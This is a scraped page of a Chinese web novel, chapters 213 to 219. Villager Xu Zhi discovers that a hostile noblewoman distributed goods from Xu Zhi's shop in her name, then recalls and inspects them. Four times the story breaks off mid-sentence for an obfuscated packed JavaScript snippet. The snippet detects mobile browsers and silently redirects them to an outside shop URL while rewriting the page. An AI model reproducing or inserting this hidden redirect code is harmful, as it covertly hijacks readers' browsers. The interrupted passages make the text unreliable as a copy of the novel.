“许丫头回来了!” “大家快来呀!” 其实大家因为天黑根本没看清马车上的人,但是村里有马车的人只有许芷一个,所以不用看清都知道一定是许芷。 而坐在马车里的王茹娇和孟雨兰听到大家的声音,都急忙探出脑袋看看到底是怎么回事。 只见村里好多人都围到了马车前,诚恳道:“许丫头,你这丫头真是菩萨心肠啊。” “真没想到你会在这个特殊的日子里,给我们这份温暖。” “许丫头你的好心好意,我们收下了,你放心,药田我们一定顾好。” ...... 听到大家的连声感谢,许芷摸不着头脑。 她的什么好心?什么好意? 许芷秉着不乱认恩情的想法,跟大家解释道:“抱歉,我并未做什么,大家还是赶紧回去吧。” 可是许芷这话,在他们听来只是在谦虚,甚至不是在谦虚,而是真的觉得自己做的不算什么。 所以他们都心领神会的假意应承许芷的话,实则拿出了家里有的好东西一小袋一小袋的往许芷的马车上放。 许芷连忙拒绝,可是根本拦不住大家的热情。 最后也没拒绝掉大家的好意,大家将东西一股脑放下后,都又迅速的离开了。 像是生怕许芷把东西给大家送回来。 徒留大眼瞪小眼的许芷、王茹娇和孟雨兰三个人看着马车上的东西疑惑不解。 王茹娇:“大家这是...?” 孟雨兰:“许是腊八节,感念许芷这一年带着大家赚钱?” 许芷:“倒是不必......” 她倒不是看不起大家的东西,就是觉得大晚上的这么突然,有点消受不了。 因为东西太多了,都要掉下去。 所以许芷她们三个没急着往家里赶,三个人先把东西都放进了马车里,保证东西都好好的,才继续往村子里去。 等到了王茹娇家里,王茹娇小心地从大家的感谢中走出来。 许芷扶着她下了马车之后,她转过身跟许芷说:“小芷,你跟雨兰姐快回去吧,明早我去山坳找你们一起去城里。” “不用了,我跟雨兰姐来你家门口接你。” 许芷说完,忙让王茹娇快进去,别让家里人担心。 王茹娇也不拒绝许芷的好意了,点了点头就转身回了家。 看着她进了院子,许芷和孟雨兰才调转马头回去山坳。 两人刚到了山坳,空旷又寂静的黑夜里就传来了开门的声音。 她们知道,这是祖母听到了马车回来的声音,特意开了门来接她们两个。 看到赶车的是许芷,邓老太笑意加深。 她确实好几日没见到外孙女了,想的紧。 但她没急着往前去,而是等许芷把马车停稳了,她才颤颤巍巍的上前去。 倒不是激动成这个样子,而是她年纪大了,冬夜的冷风一吹,不自觉就会这样。 许芷看到忙上前迎着祖母,“祖母,在家里等我多好,干嘛出来?” “我在家中也无事,就出来看看你回来没。 不过还是我们家小指儿体谅人,我刚出来你就回来了,不舍的祖母我在外面多吹冷风。” 邓老太紧紧拉着许芷的手说着。 听到这话,许芷心里暖意十足,她也不多说什么,赶紧带着祖母回家不受冻才是正事。 三人急急忙忙回了家,邓老太饭早就做好了。 都是许芷爱吃的东西,许芷也拿出了她带回来的腊八粥热了喝。 邓老太不舍的让孙女来,她让许芷和孟雨兰坐在桌子旁围着小炉子暖和。 给两个人手里一人塞了一个烤红薯。 “先暖着手,吃着点,热粥很快,马上就能吃饭。” 许芷知道自己跟祖母争这些不如顺了她的意,让她高兴些。 所以她没说什么,把灶火的位置让给了祖母,她跟孟雨兰两个人坐着暖和。 孟雨兰笑着玩笑道:“奶奶怎么知道今日小芷一定回来,万一还是我自己呢?” 邓老太扭头显露了一个慈爱的笑容,看了正在啃红薯的许芷一眼。 “这孩子一定会回来的。” 语气十分的笃定,仿佛她有千里眼,能看到许芷回来一般。 说完不知道又想起了什么,邓老太微微叹了口气,不满道:“耧子也有几日没见了。” 许芷忙替舅舅解释说,他是要留下看铺子。 邓老太听到也表示理解,“他一个大男人是该好好看管着铺子。” 正说着,虽然“嘶”一声,可紧接着又摇了摇头。 一副想到了什么担心的事儿,但是很快就又想开了的样子。 惹得许芷和孟雨兰好奇不已。 许芷倒还收敛些,孟雨兰则是直接问出了口。 “奶奶您在想什么呢?” 邓老太本来不打算说,觉得她们两个没嫁人。 可是一想年龄也不算小了,知道些事情也是好的。 索性就没瞒着她们自己刚刚想到了什么。 第214章 察觉不对 “我想着喜英一个寡妇带着两个孩子在那住着,耧子也住下怕是不好,让人知道了惹是非。 不管是不是寡妇,孤男寡女总归是不太好,耧子就算了,流言蜚语下来砸死的是喜英。 可是想了想那是城里,又不是村子里,别人怎么知道铺子里谁住着,谁没住,又有谁知道他们二人到底是怎么回事。 所以我又觉得不该不想那么多。” 听到邓老太的话,许芷眼皮闪了一下,但看起来还是一副淡定的模样。 孟雨兰听到大大咧咧道:“奶奶,你别多想了,我看喜英婶子每日目光全在自己的一双儿女身上。 而且,叔就更不用说了,平日里见他好似根本不通女色一般。 而且城里人只管买东西,谁还能闯到咱铺子后院去看看到底都有谁住呢?” 邓老太也跟着孟雨兰的话说:“是这个理,我就是想的多些,没什么别的意思。” “我们当然知道了奶奶,您呀,就是希望我们都好。” 孟雨兰笑的懂事,看到邓老太的粥热好了,手里的红薯正好吃完了,上前去帮忙。 许芷见状也上前去帮忙。 吃饭时,邓老太突然跟许芷开口说:“以后要是你舅舅还留在铺子里,你就把喜英母子三人带回来。 要是她家里来不及收拾,就来咱们家,咱家里有地方住,我想了想他们两个人在一个院子总归是不好。” 许芷没反驳,只是嗯了一声。 孟雨兰抬头看了一眼邓老太,她还是觉得奶奶想的太多了。 城里怎么会有人在意这些呢? 邓老太自然也是察觉了她的目光,继续跟许芷说道:“你舅舅不是说了他有个心仪的姑娘。 虽说咱们都相信你舅舅跟喜英没什么,可是要是让那姑娘知道了,万一人家介意,不愿意了怎么办?” 孟雨兰闻言点了点头,算是彻底认同了奶奶的话。 只是许芷觉得有些头疼,心想还是要提醒舅舅赶紧把这事儿给解决了,不能一直让祖母这样操心。 吃完饭之后,许芷和孟雨兰收拾了碗筷。 邓老太让她们两人赶紧洗洗睡下吧。 但是两人不急,孟雨兰说道:“今日村子里的人格外热情,给我们了不少东西,都在马车里还没拿出来呢,这会儿得拿回来。” 说着两人往外面去,其实她们本来是打算回来就把东西拿回来的。 但是一下马车看到邓老太迎着冷风等她们,说什么也不拿了,先跟着邓老太回了家再说。 而且东西也不少一趟肯定是拿不完的,只要她们不回了家吃饭,邓老太肯定也会陪着,所以只能先回家。 这会儿两人收拾妥当才想着去拿东西。 邓老太也想跟着两人一起出去拿,但是被许芷拦住了。 她也不想辜负孙女的好意,所以就留在家里等着她们把东西拿回来之后收拾。 刚开始她还以为没多少,结果两人一趟趟的拿,竟是来回了四五回。 看着满地的布袋子,里面装满了各种各样的豆子、红薯、面粉和干菜。 还有腌的咸菜、晾的果干,一袋袋的堆在地上真是不少。 不知道的还以为他们开了个杂货铺子。 邓老太看着这么多东西,感慨道:“村里人也太客气了,怎么给了这么多东西,就算小指儿你送了他们东西也没必要啊。” 正在收拾东西的许芷,听到这话疑惑转头重复道:“我给他们送了东西?” 听到许芷一脸疑惑,邓老太也觉得奇怪。 “对啊,今日不是你吩咐了别人,拿了铺子里的东西给十里八乡的人送?” 孟雨兰听到这个,下巴都要惊掉了,她们怎么不知道这件事啊。 “奶奶,哪有的事啊?我们根本没有吩咐人这么做!” “啥!” 邓老太这才发觉了不对劲。 “那些人说是小指儿让来的,特意给村里人送福利。” 许芷的脸色黑了下去,这件事说小不小,说大也不为过。 用她的名义送东西,说是给她谋名声。 可若是这送出去的东西有了任何的问题,那些人现在有多感谢许芷,日后就会有多么怨怪她。 许芷根本不用想,都知道这件事是谁做的。 除了苏白薇,再无其他人。 她才在自己的铺子里买了那么多的东西,今日就有人来拿着铺子里的东西送,这还用猜吗? 而且也只有苏白薇这种疯子才会如此做。 看着孙女许芷脸色不虞,在想些什么,邓老太焦急万分。 而孟雨兰也看出了许芷的愁绪,她则是着急的问邓老太:“奶奶,那些人长什么样子啊?你还记得吗?” 邓老太听到这个无比庆幸,她今日跟着别人去看了那场面,要不然此刻孟雨兰问自己,那可是什么都说不出来。 她回忆道:“那些人看着不像是普通的农户人家,就连城里的都少有那样的人。 分发的人一看就是大户人家做婢女的,穿着发髻很是讲究。 尤其是她们后面站的那位夫人,衣着华丽,说一句皇家中人也不为过。” 说完,邓老太更觉得不对了。 许芷要是真吩咐人去发这些东西,怎么可能找这些一看就身份尊贵的人呢? 要找也该是跟他们差不多的人。 孟雨兰一听就知道这些人是那个难伺候的、王茹娇口中的恶女鬼。 也只有她近日买了大量的铺子里的东西。 可她这样到底是为什么呢? 这不是再给许芷谋名声? 送出去了东西,大家只会更感恩许芷,可那人分明是要为难她的。 这么想着孟雨兰就直接问出了口,许芷叹了口气说道: “水能载舟,亦能覆舟,这好名声此刻是蜜糖,若是有人用了我的东西出了事,那这名声对我来说如同砒霜。” 许芷的话音落下,邓老太和孟雨兰的脸色同时白了几分。 “那怎么办啊许芷,这东西都送出去了,再要回来岂不是更难看。 而且我们也不知道这附近的村里都谁拿了东西。” 孟雨兰欲哭无泪的说道。 邓老太忙道:“我今日跟着去看了,大概记得一些,要不然先把这些人手里的要回来?” 只是这话说出来,还没等许芷回答,邓老太自己就觉得不妥了。 免费的东西都发出去了如何能拿出来呢? 第215章 两全其美 想了半天,邓老太又开口道:“小指儿,这事儿你别担心了,让我这个老婆子来,我一定把这事儿弄好。” 看着祖母脸上坚定地神色,许芷猜到了祖母只怕是要舍下自己的脸弄。 所以她拒绝道:“祖母,这事儿还是让孙女来解决吧。” “那不好,你还小,好多事不该你出面,就让我来吧。” 邓老太愁容满面的说着。 许芷还想说什么,但是被身后的孟雨兰拉了一下袖子。 于是便止住了话头。 看到许芷不再说话,孟雨兰从后面凑上来开口道:“小妹、奶奶,这样吧,东西肯定是要拿回来的。 奶奶去也好,毕竟奶奶辈分在这,好多人说不得什么。 小妹年纪小,就算是有带着大家赚银子的恩情在,可到底是姑娘家,辈分又小,大家有什么不满意的直接就发泄了出来。 多少不好。” 许芷皱眉看向孟雨兰,她根本不怕这些,谁愿意多嘴便说吧。 若是她怕这些早就做不成事了,只是反对的话还没说出口。 就听到孟雨兰继续说:“既然咱们担心要不回来,是觉得把东西给出了,再要不好。 而且大家刚得了东西,正高兴着。 那我们就不让大家失去这份高兴就好,东西我们重新发,以新换旧。 到时候就说是,每一样东西都有自己的功效,昨日发的时候没想那么多,但是回去了才觉得不妥。 怕发的东西不适合大家,所以重新发放,让领了东西的重新来领,小妹会根据每个人的情况重新分发。 这样相信大家不会有怨言,还会觉得小妹贴心。 咱们也能把东西拿回来,岂不两全其美? 到时候就让奶奶去说,大家也有那耐心听着。” 邓老太听了觉得这方法好,夸赞孟雨兰说道:“你这丫头是个机灵的。” 孟雨兰笑的俏皮,还朝着许芷挑了下眉。 其实许芷差不多也是这么想的,只是还没有说出口。 只是她跟孟雨兰的不同之处是,她并没有想着让祖母出面。 眼看事情商量了下来,邓老太心里也算是安心了些,洗了洗就赶紧去睡了。 她现在年纪大了,吃过饭就撑不住想睡。 等到祖母回了房,许芷皱眉道:“雨兰姐,这事儿不让祖母出面也行的。” 孟雨兰嗔她一声,指着她的头说道:“我这么做是为了不让祖母觉得帮不上干着急,要不然祖母能安心去睡了? 小妹,我理解你不愿意让祖母担心和为你奔波的心,可是有的时候,人是希望自己有用的,哪怕只是自己做一件小事。 只要帮上了忙,心里多少都是高兴的。” 许芷听完一时语塞。 道理确实是这么个道理,是她想的少了些。 她对孟雨兰感谢道:“谢谢你了,雨兰姐,要不是你想的这么全,我估计祖母今晚就该睡不好了。” “嗐~”孟雨兰语调婉转,“谢什么,咱们可是一家人。” 两人又商量了一下明日送乡亲东西的事情,商量好也都洗了洗去睡。 翌日,许芷早早就起了床,饭都没吃就赶去城里的铺子。 只是只有她一个,孟雨兰和王茹娇都没跟着。 王茹娇吃了饭寻思着许芷两人改过来接自己了,只是半天没看到人。 正准备出去看看,就看到了孟雨兰的身影出现在了门口。 她高兴地拿着东西就要跟她们去城里。 只是她跑出来却没见到马车,只有孟雨兰一个人。 王茹娇不解问道:“小芷呢?咱们今日不赶马车去?” 孟雨兰把昨晚知道的事情还有她们想好的解决办法跟王茹娇说了说。 “所以,现下小妹早早去了城里拿东西,你跟我就去各个村子找大家通知一下这件事,差不多咱们通知完,小妹也该带着东西回来了。” 王茹娇听到先是立马应了下来,紧接着又愤愤不平道:“那恶女鬼真是诡计多端,还真以为挣到她的钱了。 没想到她竟然是憋着这样的坏!” 孟雨兰看着她义愤填膺的样子,哄着她说道:“好啦,现在不是说这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那个贵夫人到底什么来头,干什么针对咱们啊?” 许芷自然不会把逍遥馆是长公主的说出来,所以没法跟他解释,苏白薇是来给长公主出气的。 只是随口说道:“许是,看不惯吧。” 听了这话,邓子更是生气。 他怒骂道:“看不惯?谁让她看的惯了,看不惯别来咱们铺子买东西不就成了。 咱们大大方方、清清白白的开铺子,碍着她什么事,竟然这样针对咱们。 又不是说咱们抢了她的生意,再说了生意又不是靠抢的,分明是咱们的东西好。 这什么贵夫人,看着也不像咱们这的人,听喜英说好像是京城的人。 既然不是咱们这的关她什么事,真是气煞我也!” 越说越生气的邓耧子,不自觉赶马车都快了许多。 本来许芷也只是听一听不说话,可是看着马车越来越快,她担心危险,急忙出声劝解舅舅邓耧子。 “舅舅,咱们是平头老百姓,那人一看就是个有权有势的,就算是不知道哪得罪了人家,我们避一避就是。 这次的事儿也不是不能挽回,就这样吧,气也没用,不如赶紧把事儿解决了。” 这些话邓耧子何尝不明白呢,只是心里那股火气总要发泄一下。 顺着她的话又是骂了半天。 许芷眼见着马车速度快好生颠簸,她赶紧开口:“舅舅,注意安全,别着急上火的,人家还没怎么着,咱们俩人先出了事儿。” 听到许芷这样明说,邓耧子才意识到自己一着急马车赶的太快了,他急忙调整了速度,有些抱歉开口: “舅舅这是太生气了,所以急了些,小芷你放心,舅舅一定把咱们安全带回去。” 许芷嗯了声就没再说话了。 等到回到村里的时候,昨天领了东西的人都**在了许芷家的山坳里。 看到许芷的马车过来,本来还嗡嗡议论的众人瞬间噤了声。 而王茹娇和孟雨兰看到她回来连忙上前去帮忙。 王茹娇:“子哥,你们回来了。” 邓耧子看着乌乌丫丫的人群,有些紧张的吞了吞口水,也没回应王茹娇的话。 虽然听外甥女许芷说的时候,他的全部注意力都在那个搞事情的贵夫人身上。 可是他也想到了真要是把东西要回来,只怕大家不是很高兴。 不过终究是气愤更多一些,所以对大家会不高兴这件事并没有十足的心理准备和想法。 但是这会儿看到大家这么多人,他突然有些发怵,这可不是几个人。 而是几十个人,甚至上百个人。 要是一旦出了什么事儿,或者有几个**的一撺掇,就很难说了。 邓子的面色凝重了许多。 王茹娇和孟雨兰看到他微沉的脸色,也明白他在担心什么。 “耧子哥,别担心,我们跟大家说的时候,都表示理解了,还觉得小芷贴心呢。” 王茹娇看了眼人群压低了些声音,开口宽慰邓耧子道。 孟雨兰也跟着轻声说:“是啊叔,你放心吧,有咱们在,谁也不会让小妹的名声坏了去,那必须让大家都感谢小妹。” 听到她们两个的话,邓耧子轻声嗯了一声,虽然心里还是有些不安,但到底是被她们两个这话安慰到了。 他跟许芷紧跟着下了车,看到许芷下车,本来还安静的人群瞬间又热闹了起来。 “许丫头,你说你这丫头还费这事儿干啥?我们这糙人家,用啥都行。” “是啊,什么适不适合的,只要有得用,只要是许丫头你给的,不管是啥我们都高兴。” “说的不是啥,就算不能用我们摆在那看着都高兴。” “难为你跑一趟了许丫头,只是日后不要再这样了,你带着我们赚钱就行,我们别的不多求。” “就是,赚钱的事儿行,我们还能出点力,这白拿你的东西,还是两回,多不好意思啊。” 这话刚落下来,人群中有人故意笑着调侃。 “不好意思你不是也来了。” 这话没什么坏心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260769|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,纯粹是调侃,所以那人也没生气,只是也开玩笑的回道: “还说呢,这里面谁好意思啊?可不是都来啦?咱们主要是冲着许丫头这孩子好,不愿意让她白费一场心思,以后别弄就成。” 这话说完,众人纷纷笑而开。 笑声飘荡在山坳里,让许芷本来有些忐忑的心瞬间安定下来。 她没下马车之前,也担心,只是面上表现的淡定些。 其实心里对这件事也没有底气。 她也怕大家实在是太抵触这件事,名声事小,她早就不在乎这些了。 但是她怕大家不再愿意跟着她种药田,她的生意也是一点点做起来的。 虽说不种药田不至于完全打垮了她,可也是能重创她。 所以此时此刻听到大家的话,没人知道她心里有多激动。 不过心里再激动,面上也还是冷静的。 她走出马车看着乌泱泱的人群,强迫自己冷静再冷静,尽量让自己开口的时候声音听起来不是那么的颤抖。 “各位乡亲们,麻烦你们跑这一趟了,听了你们的话我心中备受感动。 所以我也不打算给大家说什么虚言,我就直说了吧。 昨日给大家布施的人并不是我本人授意的,是她们借用了我的名头来给大家送东西。 我的铺子前几日迎来了一个大客户,一下把铺子里东西都买光了,当时我并没有想到那人是要把东西这样用。 还是回来听到祖母的话才知道了,虽说我相信自己铺子里的东西,可是到底是经了那些人的手。 防人之心不可无,我也怕那些人做了什么手脚,所以今日才让大家再跑一趟。 我知道我这番话定然跟我祖母、娇娇和雨兰姐跟大家说的不一样,请大家原谅我的多心,我是怕大家被我要做的事儿伤了心,所以才让她们这么说的。 若是有怨言只管往我一个人撒,都是我没有想周全。” 说完她弯下腰,朝着众人深深地鞠了一躬。 饱含歉意的模样让刚刚热闹的人群又安静了下来。 第217章 肺腑之言 许芷的心里咚咚咚打着鼓,没有着急直起身子看大家的反应。 而王茹娇和孟雨兰看到许芷的样子,两个人也跟着弯了腰。 邓老太在门口远远看着孙女这个样子,眼眶里亮晶晶的饱含眼泪。 看着孙女这个样子她比谁都要心疼,孙女辛辛苦苦种药田,开铺子,却遭到这种小人的算计。 要不是那人冒用了孙女的名义,小指儿怎么会如此。 想到这,邓老太抬起了衣袖,擦掉了眼泪。 而许芷迟迟没有等到众人的反应,她弯下的腰也迟迟没有抬起来。 许久,她的腰都要酸没知觉了,她轻轻地叹了口气,暗叹自己还是不够理智。 既然如此那就直起腰,等待着大家的**。 反正这种事情迟早要面对,她无非就是冷脸应对。 上一次那些人闹着不种药田的时候,已经有过一次了。 自己应当不会太难应付。 想通之后,许芷刚直起腰,脸色冷淡,还没开口,就听到有人说道: “这许丫头,跟我们客气什么,十里八乡的谁还不知道你这丫头的品性了。” “真是!你这丫头跟我们这么见外,以后我们还指着你药田做大了,带着我们赚钱呢!” “左右都是我们东西,我们有啥不愿意的,许家妹子,你就是心太善,想这些多。” “就是啊,许丫头,你耽误功夫还搭了东西怎么跟我们说道歉的话。” “你这丫头也是为了我们好,说起来也是,那人用了你的名义做事情,谁知道憋了什么坏。 万一我们出了事儿,不是更不好,你可是为了我们着想,你可千万别道歉,要说也是我们该感谢你!” 这话一出,一呼百应,众人都笑着点头。 “没错,应该是我们跟你道谢才对。” “许丫头,难为你这么想着我们了,除了你谁还对我们这么负责啊。” 因为这话,众人又提到了蝗灾和烟膏的事情。 都说要不是许芷在,他们这两年早就不知道遭了多少难。 “许丫头,别担心,我们不是那不通事理的,一定不会说怨言,要说也都是肺腑之言、感谢之言。” 此话一出,众人纷纷感谢许芷。 这场面看许芷内心说不出的激动,她能感受到浑身的战栗感,那是一种无以言表的兴奋。 而马车旁的王茹娇和孟雨兰也神色激动看向许芷,三人的眼中都有了些许的水光。 她们二人跟许芷的心路历程一样,刚开始听到许芷说完话,没有人说话,所有人安安静静的时候。 王茹娇和孟雨兰心里也不太有底,就算她们去挨家挨户说的时候大家有多好说话,不代表这会儿大家听过这话就愿意。 而且大家迟迟不说话,再有底心里也没谱了。 所以她们也没有立刻直起腰,而是听到了大家第一个说话的人,才有些震惊、喜悦和放心直起腰。 此时三位姑娘那种惺惺相惜的喜悦蔓延在山坳中。 许芷痛快跳下了马车,大声道:“现在开始卸东西,给大家分发!” 随着她这一声,众人齐声欢呼“好!” 家里的桌子和能摆东西的小几、凳子都被拿了出来。 邓老太、王茹娇和孟雨兰早就摆好了位置,几人快速把马车里的东西搬了出来。 许芷坐在案前,先让大家来她这记录备案,待她查验过东西,再根据这人的需求给她送个铺子里合适的东西。 准备好了后,王三叔和王三婶先上前去。 “许丫头,我们俩昨天领了个这膏沐,还没舍得用,你快看看。” 王三婶笑和善说着。 许芷看到他们两口子,心里也是五味杂陈。 当初有了他们儿子的事情,尽管许芷再三表示,地里的药卖了之后,只用还许芷借他们的钱就成。 可是真的卖了之后,许芷把剩下的钱给他们,两口子说什么都不要,说什么许芷把他们的儿子救了回来。 别说这钱不能要,就是再给许芷些钱都是应该的。 就连许芷要给他们的分红都不要了。 但是许芷当然也不可能收下,好说歹说把钱留下了。 可是第二日,许芷就在院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265629|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里看到了包着石头的银票。 她无奈又找上了王三叔家里,让他们不必这个样子。 说什么也要让他们把钱拿回去。 几番争执之下,王三叔和王三婶也没要。 许芷无奈说是帮她们把钱先存着,到时候还会给他们。 转头就买了药苗都种在了他们的地里,种好了之后重金聘请他们两口子帮她种药田。 同时把自己家的地交给了他们两口子。 王三叔和王三婶自然懂得她的用心,可是再拒绝就真的伤了情分。 没办法只好收下了。 但是经过儿子那件事,他们伤了心力,地里多少有些力不从心,主要是给儿子的身子养回来。 两口子为了儿子买了很多的补药,花了不少的银子。 所以生活不似刚跟着许芷干药田的时候那般滋润。 许芷几番要帮助他们两个,但是都被拒绝了。 两人很知足说道:“如今就这样我们也比从前种田好很多,儿子也越来越好,还有什么不知足的。 许丫头,你不用太管我们,等我们儿子彻底好起来了,我们还要找你合作呢。” 听了这话许芷也只能由他们去,反正每一年的租金、分红和卖了药的钱许芷都没差过。 许芷朝他们两口子投去了和善的笑容,看过他们的膏沐没事,又给他们拿了他们儿子合适用的东西。 本来王三叔和王三婶说什么都不要没事的膏沐,也不要许芷再给的东西。 说什么东西没事的话,让许芷就还拿去卖,给他们用浪费。 但是许芷和王茹娇都强势把东西塞给了他们两个。 两口子只好笑着收下了。 既然开了头,事情就顺利的很多。 一天的时间许芷几人将所有人的东西都检查过了,全都没有事。 尽管没事,许芷也没有不给大家东西。 所以所有人都是拿着东西来,又得了一样东西走。 没有人不喜笑颜开。 最后一个人离开的时候,天已经微微擦黑。 忙了一天的许芷几人, 第218章 悬而未决 最后一个人离开的时候,天已经微微擦黑。 忙了一天的许芷几人,终于闲了下来。 几人伸展了下又酸又僵的身子,互相看了看,都从对方的眼中看到了轻松的神色。 王茹娇先开口道:“终于结束了,还好大家都想得开,要不然今日之事还真是不好解决。” 邓老太笑呵呵的附和:“是啊,还好大家没跟咱们多计较,事情也算顺利。” “嗐,跟咱们计较啥啊,事儿也不是咱们干出来的,咱们还给了他们东西。 小芷有那么恳切,怎么着也不该说咱们什么。” 因为事情解决了,邓耧子的语气就变得格外气势。 惹得邓老太剜着眼睛看他半天。 邓耧子自觉说话有点过分了,尴尬又讨好地看了一眼亲娘,赶紧移开了目光。 王茹娇赶紧站出来打圆场:“婶子,你就别生气了,忙活这一天我可太饿了,咱们赶紧做饭吃,吃了也好回家躺下休息啊。” 因为有了王茹娇这话,邓老太才又挂起了笑。 “成,等我给你们好吃的。” 说着收拾着东西,手上的动作都快了许多。 而相比于他们三个人的轻松氛围,许芷的面色并不算轻松。 反而看起来更加凝重了些,只是那三人谁都没发现。 许芷微不可查地叹了口气,今天检查了所有人的拿到的东西,没有一个有问题。 按说是好事,可是许芷宁愿检查出问题。 倒不是她非要给自己找麻烦。 而是她清楚地知道苏白薇就是要给她惹麻烦的,就是要给她下绊子。 可是现在这个绊子没找到,这个麻烦她不清楚。 有什么比明知道自己要死,可并不知道什么时候会死更崩溃的事情呢? 所以她宁愿今天检查出来问题了,也不想什么都没有。 这样只能证明,她还没找到苏白薇留给她的难题。 难题一日不除,那么她就有一日未知的风险。 这就像是日日悬在头顶的一把刀,可谁知道这把刀什么时候会落下。 这么想着,许芷开口问王茹娇:“确定昨天领了东西的,今天都过来了吗?” “应该没有遗漏了。” 许芷这么一问,王茹娇显得不是很确定,说话都犹疑了几分。 看着王茹娇有些不确定的样子,邓老太跟着打包票道:“那自然是都来了的,我们可是通知的很到位。” 邓子看着外甥女许芷的脸色有些不太好,他没了刚刚的气势,开口询问:“怎么了,小芷?是不是还有什么问题?” 面对舅舅的问题,许芷刚想开口,却看到了祖母也跟着担忧的神色。 她犹豫了一下,接着扬起嘴角,微微摇头说:“没什么,我就是问问,确定一下。 做生意的,都谨慎些。” 说完,许芷看到邓老太松了口气,她心想确实不能让祖母跟着操心了。 昨晚上祖母那样子,要是再来一次,许芷只会觉得心里难受。 而听到许芷说完了没事,邓老太带着邓耧子将东西往家里搬,搬完就要去做饭。 王茹娇也兴冲冲的跟了进去。 最后只剩下许芷和孟雨兰在外面。 孟雨兰看到许芷冷着脸,她主动走上前开口问道:“是不是宁愿发现些什么?” 许芷猛然转过脸去,她看着孟雨兰,眼神由震惊转向意料之后的平和。 她没有否认,既然孟雨兰已经想到了,那她就没必要像不想让祖母担忧那样瞒着。 “是,这件事仍旧是悬而未决。” 闻言,孟雨兰跟着叹了口气。 虽然她认同这句话,可是今日让大家都来检查过了确实没事。 要么就是问题不在这,要么就是他们小人之心了。 可是明显应该是前者,又什么都没检查出来。 所以孟雨兰只能开口宽慰许芷。 “就算我们觉得不可能,可是事实就是没检查出什么。 说不定那人就是想要买咱们的东西,又故意不用发给别人,她们可能觉得这就是羞辱吧。” 之后像是为了印证她的话,孟雨兰开口讲了件她母亲曾经经历过的事情。 “我六岁那年,我娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265630|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耗费两个月的心血绣了幅繁花锦绣图,只为了让夫人在赏花宴有脸面。 可是那幅图出现在宴上后,夫人并未像想象中那般面上有光,反而在那主家的生生夸赞中,将图赏给了府上个倒夜壶的。 只是因为那个倒夜壶的小厮不知怎么也去到了宴上,随口夸了句那图好看。 回来后,夫**发雷霆,觉得折辱,还责罚了娘。 六岁的我为娘鸣不平,觉得倒夜壶的说的也没什么,娘的图确实好看,怎么人家夸一句竟觉得是侮辱。 而且赏给了倒夜壶的怎么了?这有什么**的,我娘绣的图她都不觉得有什么。 可如今我再想起来才懂得,她们觉得这图应当是他们欣赏才对,怎么能让一个倒夜壶的夸了去,这样岂不是在说她们的眼光如同倒夜壶的。 所以在这些个有权有势的人眼中,说不定她们能想到的折辱办法不过是,让没权没势的人用了这些东西。 因为在她们眼中,我们这些人是虫是尘,不是人,跟他们这些金光塑身的可不一样。 他们用什么那都是体面,我们用的都是丢脸的东西。 所以她定是觉得,把你的东西都给咱们用了,那些有门有户的就觉得丢人不会再买咱们的东西。” 这么解释完,孟雨兰虽然心里觉得些许牵强,可是总归是合乎逻辑的。 而且越想越觉得自己说的也是有道理。 孟雨兰这番话许芷倒是认同,很多权贵人家确实是这么想的。 可是苏白薇不同啊,她不是个普通的权贵人家。 她要的可不仅仅是脸面上的折辱,她要是出手,那就真的是见血见肉、翻筋露骨的程度。 不可能只是简简单单的搞一些面子功夫。 何况许芷现在的身份就是农户女,哪有什么高门贵女的面子可折辱。 就是送给了乡亲们又怎样? 她的铺子本就是打开门谁的生意都做的,又不是专供权贵人士用,如此给了乡亲们好似掉了价。 可是许芷目前也说不出什么,只能先点了头,认同了孟雨兰的话。 说完两人也就回了家。 第219章 再来铺子 可直到晚上睡前,许芷也还在想这件事。 铺子里每日卖了多少东西,都是有备案的。 她打算明日去了铺子里,将今日记录名单里的物品和铺子里的对照一下。 只要东西能对的上,那就好说。 想到这,许芷不再为难自己,她闭上眼睛强迫自己入睡。 第二日,许芷他们几人就一起回了铺子。 到了铺子收拾好开门迎客之后,许芷让王茹娇她们几个先弄着,她则是拿了之前的目录跟昨天登记在册的东西去核对。 对了足足半日,可是竟全都对上了。 那些人昨天拿来让检查的东西,跟那日苏白薇买的东西完全没有出入。 许芷头疼地看着两本册子,尽管事实在眼前,可是她心里的疑虑并未打消。 